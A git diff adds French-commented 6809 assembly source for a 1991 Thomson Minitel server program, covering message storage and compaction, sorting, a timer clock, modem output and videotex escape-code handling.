+       PULS   A,X,PC
+
+CHERCH PSHS   A,B,DP,CC,X,Y,U
+       LDX    TAMPON
+       STX    VAL+1
+       LDY    #$A002
+       LDA    $E7E5
+       TFR    A,DP
+       LDA    #$10
+CH0    STA    $E7E5
+       LDU    #$A000
+       LDB    #$80
+CH1    LDX    ,U
+VAL    CMPX   #$0000  VALEUR CHERCHEE
+       BNE    CH2
+       LDX    2,U
+       STX    POKE
+       LDX    4,U
+       STX    POKE+2
+       LDX    6,U
+       STX    POKE+4
+       PSHS   A,B
+       PSHS   U
+       EXG    A,DP
+       STA    $E7E5
+       EXG    DP,A
+       ANDA   #$0F
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSRB
+       LSRB
+       LSRB
+       LDU    #TABLE
+       LDA    A,U
+       STD    ,Y++
+       LDD    POKE
+       STD    ,Y++
+       LDD    POKE+2
+       STD    ,Y++
+       LDA    POKE+4
+       CLRB
+       STD    ,Y++
+       PULS   U
+       PULS   A,B
+       STA    $E7E5
+CH2    LEAU   128,U
+       INCB
+       BNE    CH1
+       INCA
+       CMPA   #$20
+       BLO    CH0
+CH3    TFR    DP,A
+       STA    $E7E5
+       LEAX   ,Y
+       STX    LIMTR1+2
+       LEAX   -8,X
+       STX    LIMTR0+1
+       LEAX   -$A002,Y
+       TFR    X,D
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       STD    $A000
+       CMPD   #$0002
+       BLO    TRI4
+       LDX    VAL+1
+       BEQ    TRI4
+       LDX    #$A002
+TRI0   LEAY   8,X
+TRI1   LDB    #4
+TRI2   LDA    B,X
+       CMPA   B,Y
+       BHI    PERM
+       BLO    TRI3
+       INCB
+       CMPB   #7
+       BLO    TRI2
+       BRA    TRI3
+PERM   LDB    #6
+PERM0  LDA    B,X
+       TFR    A,DP
+       LDA    B,Y
+       STA    B,X
+       TFR    DP,A
+       STA    B,Y
+       DECB
+       BPL    PERM0
+TRI3   LEAY   8,Y
+LIMTR1 CMPY   #$0000
+       BLO    TRI1
+       LEAX   8,X
+LIMTR0 CMPX   #$0000
+       BLO    TRI0
+TRI4   PULS   A,B,DP,CC,X,Y,U,PC
+
+SAUV   PSHS   A,B,DP,CC,X,Y,U
+       LDA    $E7E5
+       TFR    A,DP
+       LDX    #$FFFF
+       LDY    #POKE
+       STX    ,Y
+       STX    2,Y
+       LDA    #$10
+EC0    STA    $E7E5
+       LDU    #$A000
+       LDB    #$80
+EC1    LDX    ,U
+       CMPX   #$0000  VALEUR VIDE
+       BNE    EC6
+       PSHS   A,B,U
+       ANDA   #$0F
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSRB
+       LSRB
+       LSRB
+       LDU    #TABLE
+       LDA    A,U
+       STD    4,Y
+       SUBA   $6052
+       BPL    EC2
+       NEGA
+EC2    STA    6,Y
+       CMPA   2,Y
+       BHI    EC5
+       BEQ    EC3
+       LDA    #$FF
+       STA    3,Y
+EC3    LDA    4,Y
+       SUBA   #20
+       BPL    EC4
+       NEGA
+EC4    STA    7,Y
+       CMPA   3,Y
+       BHS    EC5
+       LDX    4,Y
+       STX    ,Y
+       LDX    6,Y
+       STX    2,Y
+EC5    PULS   A,B,U
+EC6    LEAU   128,U
+       INCB
+       BNE    EC1
+       INCA
+       CMPA   #$20
+       BLO    EC0
+       TFR    DP,A
+       STA    $E7E5
+       CLR    TAMPON
+       LDD    ,Y
+       LSRB
+       BCC    EC7
+       COM    TAMPON
+EC7    INCB
+       STD    $604B
+       BRA    EC8
+
+COMPAC PSHS   A,B,DP,CC,X,Y,U
+EC8    LDD    $604B
+       CMPA   #63
+       LBHI   COMP2
+       DECB
+       CMPB   #15
+       LBHI   COMP2
+       LDY    #POKE
+       STY    $604F
+       LDA    #$94
+       STA    $60CD
+       LDD    #$0204
+       STD    $6048
+       JSR    $E004
+       LBSR   HORPLU
+       LDD    #$2804
+       PSHS   A
+       LDX    #TAMPON
+       LDA    ,X+
+       BEQ    COMP0
+       LEAY   128,Y
+COMP0  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    COMP0
+       LDD    $607D
+       SUBB   #90
+       CMPB   #10
+       BLO    DAT0
+       ADDB   #100
+DAT0   LSLA
+       LSLA
+       LSLA
+       LSLA
+       LSLA
+       ROLB
+       LSLA
+       ROLB
+       LSLA
+       ROLB
+       LSLA
+       ROLB
+       STB    ,Y+
+       LDA    $607C
+       LDB    HEURE
+       LSLB
+       LSLB
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LDA    MINUT
+       LSLA
+       LSLA
+       LSLB
+       PSHS   CC
+       LSLB
+       RORA
+       PULS   CC
+       RORA
+       STA    ,Y+
+COMP1  LDA    ,X+
+       SUBA   #$20
+       LDB    ,X+
+       SUBB   #$20
+       LSLB
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LDB    ,X+
+       SUBB   #$20
+       LSLB
+       LSLB
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LDB    ,X+
+       SUBB   #$20
+       LSLB
+       LSLB
+       LSRA
+       RORB
+       LSRA
+       RORB
+       STB    ,Y+
+       DEC    ,S
+       BNE    COMP1
+       PULS   B
+       LDD    #$0801
+       STD    $6048
+       LDX    #POKE
+       STX    $604F
+       JSR    $E004
+       LDD    #$0482
+       STA    $6049
+       JSR    $E004
+       STB    $60CD
+       BRA    COMP3
+COMP2  LDA    #$FF
+       STA    $604E
+COMP3  BSR    DIROK
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+DIROK  LDY    #$C000
+       LDD    #$0820
+DIR0   STB    ,Y+
+       DECA
+       BNE    DIR0
+       RTS
+
+DECOMP PSHS   A,B,DP,CC,X,Y,U
+       LDA    $E7E5
+       TFR    A,DP
+       LDA    #$0F
+       STA    $E7E5
+       LDD    $604B
+       CMPA   #63
+       LBHI   DECO2
+       DECB
+       CMPB   #15
+       LBHI   DECO2
+       LDA    #$94
+       STA    $60CD
+       LDD    #$0204
+       STD    $6048
+       LDX    #TAMPON+1
+       STX    $604F
+       JSR    $E004
+       TST    $604E
+       LBNE   DECO3
+       BSR    DIROK
+       LDD    #$2804
+       PSHS   A
+       LDA    TAMPON
+       BEQ    DECO0
+       LEAX   128,X
+DECO0  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    DECO0
+       LDA    ,X
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       ADDA   #90
+       CMPA   #100
+       BLO    DAT2
+       SUBA   #100
+DAT2   STA    ,Y+
+       LDA    ,X+
+       ANDA   #$0F
+       STA    ,Y+
+       LDA    ,X
+       LSRA
+       LSRA
+       LSRA
+       STA    ,Y+
+       LDA    ,X+
+       ANDA   #7
+       LDB    ,X
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       STA    ,Y+
+       LDA    ,X+
+       ANDA   #$3F
+       STA    ,Y+
+DECO1  LDA    ,X
+       LSRA
+       RORB
+       LSRA
+       RORB
+       ADDA   #$20
+       STA    ,Y+
+       LDD    ,X+
+       ANDA   #3
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       ADDA   #$20
+       STA    ,Y+
+       LDD    ,X++
+       ANDA   #15
+       LSLB
+       ROLA
+       LSLB
+       ROLA
+       ADDA   #$20
+       LSRB
+       LSRB
+       ADDB   #$20
+       STD    ,Y++
+       DEC    ,S
+       BNE    DECO1
+       TFR    DP,A
+       STA    $E7E5
+       PULS   A
+       BRA    DECO3
+DECO2  LDA    #$FF
+       STA    $604E
+DECO3  LDA    #$82
+       STA    $60CD
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+AFFIC5 PSHS   A,B,DP,CC,X,Y,U
+       LDA    #5
+       STA    $E7E5
+       LDD    $6AB2
+       CMPD   #0053
+       LBHI   FAFF5
+       LDA    #2
+       MUL
+       STD    $6AB2
+       LDA    #2
+       LDX    #$A000
+       LBSR   PREPA5
+       INC    $6AB3
+       LDA    #2
+       LDX    #$A200
+       LBSR   PREPA5
+       LDX    #$A000
+       LDY    #$A400
+       LDD    #0
+       STD    ,Y++
+       STD    ,Y++
+       LDD    #$0C14
+       STD    ,Y++
+       LDA    #25
+       STA    LIGNE
+NOUVLI DEC    LIGNE
+       BEQ    PRINT5
+       LDA    #40
+       STA    COLON
+OCTSUI LDA    ,X+
+       CMPX   #$A400
+       BHI    PRINT5
+       CMPA   #$0D
+       BNE    ESTAFF
+       LDB    ,X+
+       DEC    COLON
+       BMI    NOUVLI
+AFFD   LDD    #$0D0A
+       STD    ,Y++
+       BRA    NOUVLI
+ESTAFF CMPA   #32
+       BLO    OCTSUI
+       CMPA   #128
+       BLO    OCTAFF
+       CMPA   #161
+       BHI    OCTSUI
+       SUBA   #128
+       LDB    #3
+       MUL
+       LDU    #TABPC
+       LEAU   B,U
+       LDD    ,U++
+       STD    ,Y++
+       LDA    ,U
+OCTAFF DEC    COLON
+       BMI    OCTSUI
+       STA    ,Y+
+       BRA    OCTSUI
+
+PRINT5 LDU    #$A400
+       LDD    #$1F41
+       STA    -1,Y
+       STB    ,Y+
+       STB    ,Y+
+       LDA    $6AD6
+       CMPA   #1
+       LBEQ   COMBLE
+       LDB    #255
+       STB    ,Y++
+       TSTA
+       BNE    ECRAN
+ATTMOD LDA    $E7FE
+       BITA   #2
+       BEQ    ATTMOD
+       LDA    ,U+
+       BEQ    ATTMOD
+       BMI    FAFF5
+       STA    $E7FF
+       BRA    ATTMOD
+ECRAN  LDB    ,U+
+       BEQ    ECRAN
+       BMI    FAFF5
+       CMPB   #$13
+       BNE    ECOK
+       LDB    #$16
+ECOK   JSR    $E803
+       BRA    ECRAN
+
+FAFF5  PULS   A,B,DP,CC,X,Y,U,PC
+
+PREPA5 STA    $6048
+       STX    $604F
+       LDX    $6AB2
+       BMI    PB5
+       CMPX   #719
+       BHI    PB5
+       LDA    #2
+       STA    LIGNE
+AGIR5  LDA    #$D4
+       STA    $E7E7
+       LDX    $E000
+       CMPX   #$444B
+       BEQ    OK5
+       LDA    #$54
+       STA    $E7E7
+PB5    LDX    #$FFFF
+       STX    $6AB2
+       LEAS   2,S
+       PULS   A,B,DP,CC,X,Y,U,PC
+OK5    LDA    $6052
+       LDB    $6054
+       STA    $6054
+       STB    $6052
+       CLR    $6058
+       LDX    $6AB2
+       LDA    #$FF
+TEST5  INCA
+       LEAX   -9,X
+       CMPX   #0
+       BPL    TEST5
+       LEAX   10,X
+       STX    $604B
+       PSHS   A
+       ANDA   #1
+       STA    $6049
+       PULS   A
+       LSRA
+       STA    $604B
+       JSR    $E004
+       LDA    #$54
+       STA    $E7E7
+       LDA    $6052
+       LDB    $6054
+       STA    $6054
+       STB    $6052
+       CLR    $6058
+       LDA    $604E
+       BEQ    SOROK5
+       DEC    LIGNE
+       BEQ    SPB5
+       LDA    $6048
+       LDB    $6052
+       PSHS   A,B
+       CLR    $6052
+       CLR    $6054
+       LDD    #$D420
+       STA    $E7E7
+       STB    $6048
+       JSR    $E004
+       LDD    #$5401
+       STB    $6048
+       JSR    $E004
+       STA    $E7E7
+       PULS   A,B
+       STA    $6048
+       STB    $6052
+       LBRA   AGIR5
+SPB5   LDX    #999
+       STX    $6AB2
+SOROK5 RTS
+
+LIRE5  PSHS   A,B,DP,CC,X,Y,U
+       LDA    #2
+       LDX    #$9800
+       LBSR   PREPA5
+       LDD    #$0804
+       STD    $6048
+       LDD    #$1401
+       STD    $604B
+       JSR    $E004
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+ECRI5  PSHS   A,B,DP,CC,X,Y,U
+       LDA    #8
+       LDX    #$9800
+       LBSR   PREPA5
+       PULS   A,B,DP,CC,X,Y,U,PC
+
+LIGNE  FCB    0
+COLON  FCB    0
+
+SAVPTR FCB    0,0
+
+PARA1  FCB    0
+PARA2  FCB    0
+PARA3  FCB    0
+PARA4  FCB    0
+
+TABPC  FCB    $1B,$48,32,$13,$48,$75
+       FCB    $13,$42,$65,$13,$43,$61
+       FCB    $13,$48,$61,$13,$41,$61
+       FCB    0,32,0,$13,$4B,$63
+       FCB    $13,$43,$65,$13,$48,$65
+       FCB    $13,$41,$65,$13,$48,$69
+       FCB    $13,$43,$69,$1B,$5D,32
+       FCB    0,32,0,0,32,0,0,32,0
+       FCB    $1B,$4C,32,$1B,$4D,32
+       FCB    $13,$43,$6F,$13,$48,$6F
+       FCB    $13,$41,$6F,$13,$43,$75
+       FCB    $13,$41,$75,0,32,0,0,32,0
+       FCB    0,32,0,$1B,$49,32,22,23,0
+       FCB    0,32,0,0,32,0,0,32,0
+       FCB    $13,$42,$61,$1B,$5C,32
+
+TABLE  FCB    62,63,60,61,58,59,56,57
+       FCB    54,55,52,53,50,51,48,49
+       FCB    46,47,44,45,42,43,40,41
+       FCB    38,39,36,37,34,35,32,33
+       FCB    30,31,28,29,26,27,24,25
+       FCB    22,23,19,21,17,18,15,16
+       FCB    13,14,11,12,9,10,7,8
+       FCB    5,6,3,4,1,2,20,0
+
+ZONE   FCB    $3B,$3A,$AA,$26,$48,$38
+       FCB    $38,$30,$30,$2C,0
+
+       FCB    $3A,$AB,$23,$22,0
+
+       FCB    $23,$31,$2C,$22,0
+
+       FCB    $22,$3B,$3A,$AB,$23,$23,0
+
+POKE   RMB    300
+
+FIN    FCB    0
+
+       END
diff --git a/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI5.ASM b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI5.ASM
new file mode 100755
index 0000000..1e33cb7
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/STI Serveur Telematique Interactif/STI5.ASM
@@ -0,0 +1,1402 @@
+***************************************
+*                                     *
+* ***** ***** *   Serveur Télématique *
+* *       *       Interactif ver. 1.4 *
+* *       *   *          du 20/09/91  *
+* *****   *   *  *    **    A.S.C.I.  *
+*     *   *   * **   * *    NANCY     *
+*     *   *   *  *   ****   1991      *
+* *****   *   *  * *   *    Copyright *
+*                                     *
+***************************************
+
+
+       ORG    $8800
+
+TAMPON RMB    $180
+
+HEURE  FCB    0
+MINUT  FCB    0
+SECON  FCB    0
+DIXIE  FCB    0
+FLGPAL FCB    0
+
+LIRE   JMP    DECOMP  lit et décompacte
+     * un message depuis le secteur 4,P
+     * ([$604B]),S([$604C]) pour la par-
+     * tie 0/1 selon la valeur de TAMPON
+     * le message est en clair sur les
+     * 127 premiers octets du secteur
+     * (4,20,1) sur le premier RAM-DISK.
+
+SAUVE  JMP    SAUV    cherche une place
+     * libre sur le disque (optimisée),
+     * et l'inscrit en $604B/C et TAMPON
+     * puis saute à ECRIRE.
+
+ECRIRE JMP    COMPAC  compacte le texte
+     * écrit en TAMPON+1 et l'enregistre
+     * sur les disks 1 puis 4 en fonct.
+     * de $604B/$604C et TAMPON (0/1).
+
+RECHER JMP    CHERCH  recherche tous les
+     * messages pour le No inscrit en
+     * TAMPON et en dresse la liste à
+     * partir de $A002 sur la bank cou-
+     * rante (2octets=Piste & Sect/Part)
+     * nombre de messages en $A000
+
+PAGTEL JMP    PTEL    affiche un fichier
+     * .TEL dont le nom est en $624F
+
+LIT5   JMP    LIRE5   lit le secteur 5'
+     * de no contenu en $6AB2/3 (N%)
+
+ECR5   JMP    ECRI5   écrit (voir haut)
+
+AFF5   JMP    AFFIC5  affiche une page
+     * type tel depuis le 5'1/4
+
+INIT   PSHS   A,B,CC,DP,X,Y,U
+       CLR    $87FE
+       CLR    $87FF
+       LDX    $6027
+       STX    ANCTI+1
+       LDX    #TIMER
+       STX    $6027
+       LDA    $6019
+       ORA    #$20
+       STA    $6019
+       LDX    #INTER
+       STX    $67C1
+       LDA    #$7E
+       STA    $67C0
+       PULS   A,B,CC,DP,X,Y,U,PC
+
+HORPLU PSHS   A,CC
+       BRA    HP
+HORLOG PSHS   A,CC
+       LDA    #10
+       STA    DIXIE
+       INC    SECON
+       LDA    SECON
+       CMPA   #60
+       BLO    PALETT
+HP     CLR    SECON
+       INC    MINUT
+       LDA    MINUT
+       CMPA   #60
+       BLO    PALETT
+       CLR    MINUT
+       INC    HEURE
+       LDA    HEURE
+       CMPA   #24
+       BLO    PALETT
+       CLR    HEURE
+       INC    $607C
+       LDA    $607C
+       CMPA   #32
+       BEQ    MOISUI
+       CMPA   #31
+       BNE    FEVBIS
+       LDA    $607D
+       CMPA   #4
+       BEQ    MOISUI
+       CMPA   #6
+       BEQ    MOISUI
+       CMPA   #9
+       BEQ    MOISUI
+       CMPA   #11
+       BEQ    MOISUI
+       BRA    PALETT
+FEVBIS CMPA   #30
+       BNE    FEVNOR
+       LDA    $607D
+       CMPA   #2
+       BNE    PALETT
+       LDA    $607E
+       ANDA   #3
+       BEQ    MOISUI
+       BRA    PALETT
+FEVNOR CMPA   #29
+       BNE    PALETT
+       LDA    $607D
+       CMPA   #2
+       BNE    PALETT
+       LDA    $607E
+       ANDA   #3
+       BEQ    PALETT
+MOISUI LDA    #1
+       STA    $607C
+       INC    $607D
+       LDA    $607D
+       CMPA   #13
+       BNE    PALETT
+       LDA    #1
+       STA    $607D
+       INC    $607E
+PALETT PULS   A,CC,PC
+
+TIMER  PSHS   A,CC
+       DEC    DIXIE
+       BNE    SORTIM
+       PSHS   B,X,Y
+       LBSR   HORLOG
+       LDX    #PAL
+       LDA    $6AD6
+       CMPA   #1
+       BNE    SORPAL
+       LDA    FLGPAL
+       INCA
+       ANDA   #1
+       STA    FLGPAL
+       BEQ    PAL0
+       LEAX   16,X
+PAL0   TST    $E7E7
+       BPL    PAL0
+PAL1   TST    $E7E7
+       BMI    PAL1
+       LDY    #$200
+PAL2   LEAY   -1,Y
+       BNE    PAL2
+       LDY    #$E7DA
+       CLR    1,Y
+       LDB    #32
+PAL3   LDA    ,X+
+       STA    ,Y
+       DECB
+       BNE    PAL3
+SORPAL PULS   B,X,Y
+SORTIM PULS   A,CC
+ANCTI  JMP    $FFFF
+
+PAL    FDB    $0000,$0F00,$F000,$FF00
+       FDB    $000F,$0F0F,$F00F,$FF0F
+       FDB    $0000,$0F00,$F000,$FF00
+       FDB    $000F,$0F0F,$F00F,$FF0F
+       FDB    $0000,$0000,$0000,$0000
+       FDB    $0000,$0000,$0000,$0000
+
+INTER  PSHS   CC,X
+       CMPA   #$AB    =PRINT
+       BNE    QUIT
+       LDX    $61C7
+       LDX    1,X
+       CMPX   #$2330  APPEL EMISSION
+       BEQ    MODEM         CANAL 0
+       CMPX   #$2322  RETOUR D'EMISSION
+       BEQ    PRINT
+       CMPX   #$2323  EMISSION CANAL 1
+       BNE    QUIT
+       LDX    SAVPTR
+       STX    $61C7
+QUIT   PULS   CC,X,PC
+
+MODEM  PULS   CC,X
+       PSHS   A,B,CC,DP,X,Y,U
+       LDX    #ZONE
+       LDY    #POKE
+       BSR    COPIE
+       LDX    $61C7
+       LEAX   4,X
+       CLRB
+AUTRE  LDA    ,X+
+       BEQ    M2
+       CMPA   #$22
+       BNE    M0
+       COMB
+M0     TSTB
+       BNE    M1
+       CMPA   #$3A
+       BEQ    M2
+M1     STA    ,Y+
+       BRA    AUTRE
+M2     LEAX   -3,X
+       LDA    1,X
+       CMPA   #$3B
+       BNE    ERROR
+       STX    SAVPTR
+       LDX    #ZONE+11
+       LEAY   -1,Y
+       BSR    COPIE
+       LDX    #POKE-1
+       STX    $61C7
+       LDX    #TAMPON
+BLANC  CLR    ,X+
+       CMPX   #TAMPON+300
+       BLO    BLANC
+ERROR  PULS   A,B,CC,DP,X,Y,U,PC
+
+COPIE  LDA    ,X+
+       BEQ    FINCOP
+       STA    ,Y+
+       BRA    COPIE
+FINCOP RTS
+
+PRINT  PULS   CC,X
+       PSHS   A,B,CC,DP,X,Y,U
+       LDY    #POKE-1
+       STY    $61C7
+       LEAY   1,Y
+       LDX    #ZONE+16
+       BSR    COPIE
+       LDX    #TAMPON
+       LDA    $6AD6
+       CMPA   #2
+       BNE    MODIF
+       CLR    ,Y+
+       CLR    ,Y+
+MODIF  LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$5C    \ escape
+       BEQ    ESCAPE
+       CMPA   #$16
+       BNE    CARAC
+       LDB    $6AD6
+       CMPB   #1
+       BEQ    CARAC
+       ADDA   #3
+CARAC  STA    ,Y+
+       BRA    MODIF
+
+ESCSUI LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$3A
+       BEQ    ESC0
+       CMPA   #$5C
+       BNE    ESCSUI
+       BRA    MODIF
+
+ESCAPE LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$5C    \ si \\ alors \
+       BEQ    CARAC
+       BRA    ESC1
+ESC0   LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$5C    \ sortie ESCAPE
+       BEQ    MODIF
+ESC1   CMPA   #$41    A (ATTRB)
+       BNE    ESC2
+       LBSR   PARA
+       LDB    $6A58
+       LDU    #PARA1
+       LDA    ,U+
+       BMI    ATT2
+       BEQ    ATT1
+       ORB    #2
+       BRA    ATT2
+ATT1   ANDB   #1
+ATT2   TST    ,U+
+       BMI    ATT4
+       BEQ    ATT3
+       ORB    #1
+       BRA    ATT4
+ATT3   ANDB   #2
+ATT4   ANDB   #3
+       STB    $6A58
+       ADDB   #$4C
+       LDA    #$1B
+       STD    ,Y++
+       LDB    ,U+
+       BMI    ATT5
+       ANDB   #1
+       STB    $6AAC
+       BEQ    ATT6
+       LDB    #$58
+       BRA    ATT7
+ATT6   LDB    #$5F
+ATT7   STD    ,Y++
+ATT5   LBRA   ESCSUI
+
+ESC2   CMPA   #$42    B (Beep)
+       BNE    ESC3
+       LDB    #7
+       STB    ,Y+
+       LBRA   ESCSUI
+
+ESC3   CMPA   #$43    C (Couleurs)
+       BNE    ESC4
+       LBSR   PARA
+       LDU    #PARA1
+       LDB    ,U+
+       BMI    CO0
+       ANDB   #$7
+       STB    $6A66
+       ADDB   #$40
+       LDA    $6AD6
+       ANDA   #1
+       BEQ    CO00
+       TST    $6A9E
+       BEQ    CO00
+       ADDB   #$30
+CO00   LDA    #$1B
+       STD    ,Y++
+CO0    LDB    ,U+
+       BMI    CO1
+       ANDB   #$7
+       STB    $6A7B
+       ADDB   #$50
+       LDA    $6AD6
+       ANDA   #1
+       BEQ    CO10
+       TST    $6A9E
+       BEQ    CO10
+       ADDB   #$28
+CO10   LDA    #$1B
+       STD    ,Y++
+CO1    LDB    ,U+
+       BMI    CO2
+       ANDB   #1
+       STB    $6A90
+       SUBB   #$5D
+       NEGB
+       LDA    #$1B
+       STD    ,Y++
+CO2    LDB    ,U+
+       BMI    CO3
+       ANDB   #1
+       BRA    KLI1
+CO3    LBRA   ESCSUI
+
+ESC4   CMPA   #$44    D=Démasquage total
+       BNE    ESC5
+       LDD    #$1B23
+       STD    ,Y++
+       LDD    #$205F
+       STD    ,Y++
+       LBRA   ESCSUI
+
+ESC5   CMPA   #$45    E=Effacement
+       BNE    ESC7
+       LDA    #$0C
+       STA    ,Y+
+       LBRA   ESCSUI
+
+ESC7   CMPA   #$47    G=Générateur de
+       BNE    ESC9    caractères
+       LBSR   PARA
+       LDA    PARA1
+       ANDA   #1
+       STA    $6A82
+       BNE    GEN0
+       LDA    #$0F    mode normal
+       BRA    GEN1
+GEN0   LDA    #$0E    mode Teletel
+GEN1   STA    ,Y+
+       LBRA   ESCSUI
+
+ESC9   CMPA   #$49    I=Inversion
+       BNE    ESCB
+       LDA    ,X
+       CMPA   #$45    E=Ecran
+       BEQ    IE
+       LDA    #$1B
+       LDB    $6A90
+       ANDB   #1
+       INCB
+       ANDB   #1
+       STB    $6A90
+       SUBB   #$5D
+       NEGB
+       STD    ,Y++
+       LBRA   ESCSUI
+IE     LEAX   1,X
+       LDD    #$1B20
+       STD    ,Y++
+       LDA    #$23
+       LDB    $6A90
+       ANDB   #1
+       SUBB   #$5D
+       NEGB
+       STD    ,Y++
+       LBRA   ESCSUI
+
+ESCB   CMPA   #$4B    K=Klignotement
+       BNE    ESCC
+       LDB    $6A9E
+       ANDB   #1
+       INCB
+       ANDB   #1
+KLI1   STB    $6A9E
+       LDA    $6AD6
+       ANDA   #1
+       BNE    KLITO
+       SUBB   #$49
+       NEGB
+       LDA    #$1B
+       STD    ,Y++
+KLI2   LBRA   ESCSUI
+KLITO  LDA    #$1B
+       LDB    $6A66
+       ANDB   #7
+       ADDB   #$40
+       TST    $6A9E
+       BEQ    KLIT1
+       ADDB   #$30
+KLIT1  STD    ,Y++
+       LDB    $6A7B
+       ANDB   #$7
+       ADDB   #$50
+       TST    $6A9E
+       BEQ    KLIT2
+       ADDB   #$28
+KLIT2  STD    ,Y++
+       BRA    KLI2
+
+ESCC   CMPA   #$4C    L=Locate
+       BNE    ESC4D
+       LBSR   PARA
+       LDU    #PARA1
+       LDD    ,U++
+       CMPD   #$FFFF
+       BEQ    LO4
+       PSHS   A
+       TSTB
+       BPL    LO0
+       LDB    $6B00
+LO0    CMPB   #25
+       BLO    LO1
+       CLRB
+LO1    STB    $6B00
+       ADDB   #$40
+       LDA    #$1F
+       STD    ,Y++
+       PULS   B
+       TSTB
+       BPL    LO2
+       LDB    $6AF9
+LO2    CMPB   #40
+       BLS    LO3
+       CLRB
+LO3    STB    $6AF9
+       ADDB   #$41
+       STB    ,Y+
+LO4    LDB    ,U+
+       BMI    LO7
+       ANDB   #1
+       STB    $6AEB
+       BEQ    LO5
+       LDB    #$11
+       BRA    LO6
+LO5    LDB    #$14
+LO6    STB    ,Y+
+LO7    LDB    ,U+
+       BMI    LO8
+       ANDB   #1
+       STB    $6AA5
+       LDA    $6AD6
+       ANDA   #1
+       BNE    LO8
+       ADDB   #$58
+       LDA    #$1B
+       STD    ,Y++
+LO8    LBRA   ESCSUI
+
+ESC4D  CMPA   #$4D    M=Mode
+       LBNE   ESC4E
+       LDA    ,X
+       CMPA   #$52    R=Rouleau
+       BNE    ESC4D1
+       LDB    #$43
+       BRA    ESC4D3
+ESC4D1 CMPA   #$68    H=Haut
+       BNE    ESC4D2
+       LDB    #$46
+       BRA    ESC4D3
+ESC4D2 CMPA   #$42    B=Bas
+       BNE    ESC4D4
+       LDB    #$47
+ESC4D3 LEAX   1,X
+       LDA    #$1B
+       STA    ,Y+
+       LDA    #$3A
+       STA    ,Y+
+       LDA    #$39
+       STD    ,Y++
+ESC4D4 LBRA   ESCSUI
+
+ESC4E  CMPA   #$4E    N=nouvelle ligne
+       BNE    ESC4F
+       LDD    #$0A0D
+       STD    ,Y++
+       BRA    LO8
+
+ESC4F  CMPA   #$4F    O=Oblitération=DEL
+       BNE    ESC52
+       LDA    #$7F
+       STA    ,Y+
+       BRA    LO8
+
+ESC52  CMPA   #$52    R=Répétition
+       BNE    ESC58
+       LBSR   PARA
+       LDB    PARA1
+       CMPB   #63
+       BHI    LO8
+       LDA    #$12    rep
+       ADDB   #$40
+       STD    ,Y++
+       BRA    LO8
+
+ESC58  CMPA   #$58    X=effacement de
+       BNE    ESC5E   la fin de la ligne
+       LDA    #$18
+       STA    ,Y+
+       BRA    LO8
+
+ESC5E  CMPA   #$5E    ^ Déplacements
+       BNE    ESCN
+DEA    LDA    ,X+
+       LBEQ   FINMOD
+       CMPA   #$3A    :
+       BEQ    DE0
+       CMPA   #$5C    \
+       BNE    DE1
+DE0    LEAX   -1,X
+       LBRA   ESCSUI
+DE1    ANDA   #$5F
+       CMPA   #$42    B=bas
+       BNE    DE2
+       LDA    #10
+       BRA    DEX
+DE2    CMPA   #$43    C=coin sup/gauche
+       BNE    DE3
+       LDA    #30
+       BRA    DEX
+DE3    CMPA   #$44    D=droite
+       BNE    DE4
+       LDA    #9
+       BRA    DEX
+DE4    CMPA   #$47    G=gauche
+       BNE    DE5
+       LDA    #8
+       BRA    DEX
+DE5    CMPA   #$48    H=haut
+       BNE    DE6
+       LDA    #11
+       BRA    DEX
+DE6    CMPA   #$4C    L=retour Ligne
+       BNE    DE7
+       LDA    #13
+DEX    STA    ,Y+
+DE7    BRA    DEA
+
+ESCN   LBRA   ESC0
+
+FINMOD LDX    #POKE+4
+       LDA    $6AD6
+       CMPA   #2
+       BEQ    AFMINI  Affichage MINITEL
+AFTOMO CLR    ,Y      Affichage TO+MODEM
+AFTM0  LDB    ,X+
+       BEQ    EXITEL
+       TST    $6AD6
+       BNE    AFTO
+AFTM1  LDA    $E7FE
+       BITA   #2
+       BEQ    AFTM1
+       STB    $E7FF
+       BRA    AFTM0
+AFTO   JSR    $E803
+       BRA    AFTM0
+AFMINI LBSR   TEL
+EXITEL LDY    #POKE
+       LDX    #ZONE+22
+FINMAX LBSR   COPIE
+       PULS   A,B,CC,DP,X,Y,U,PC
+
+PARA   PSHS   Y,U     Recherche des
+       LDY    #PARA1  paramètres (4 max)
+       LDD    #$FFFF
+       STD    ,Y
+       STD    2,Y
+       CLRB
+
+PAR0   LDA    ,X+
+       BEQ    SORPAR
+       CMPA   #$3A    :
+       BEQ    AUTPAR
+       CMPA   #$5C    \
+       BEQ    AUTPAR
+       CMPA   #$2C    ,
+       BEQ    AUTPAR
+       CMPA   #$30    0
+       BLO    AUTPAR
+       CMPA   #$39    9
+       BHI    VAR
+       SUBA   #$30
+       LDB    ,Y
+       BPL    PAR1
+       CLRB
+       STB    ,Y
+PAR1   ASLB
+       ASLB
+       ASLB
+       ADDB   ,Y
+       ADDB   ,Y
+       STB    ,Y
+       ADDA   ,Y
+       STA    ,Y
+       BRA    PAR0
+
+VAR    CMPA   #$41    A
+       BLO    AUTPAR
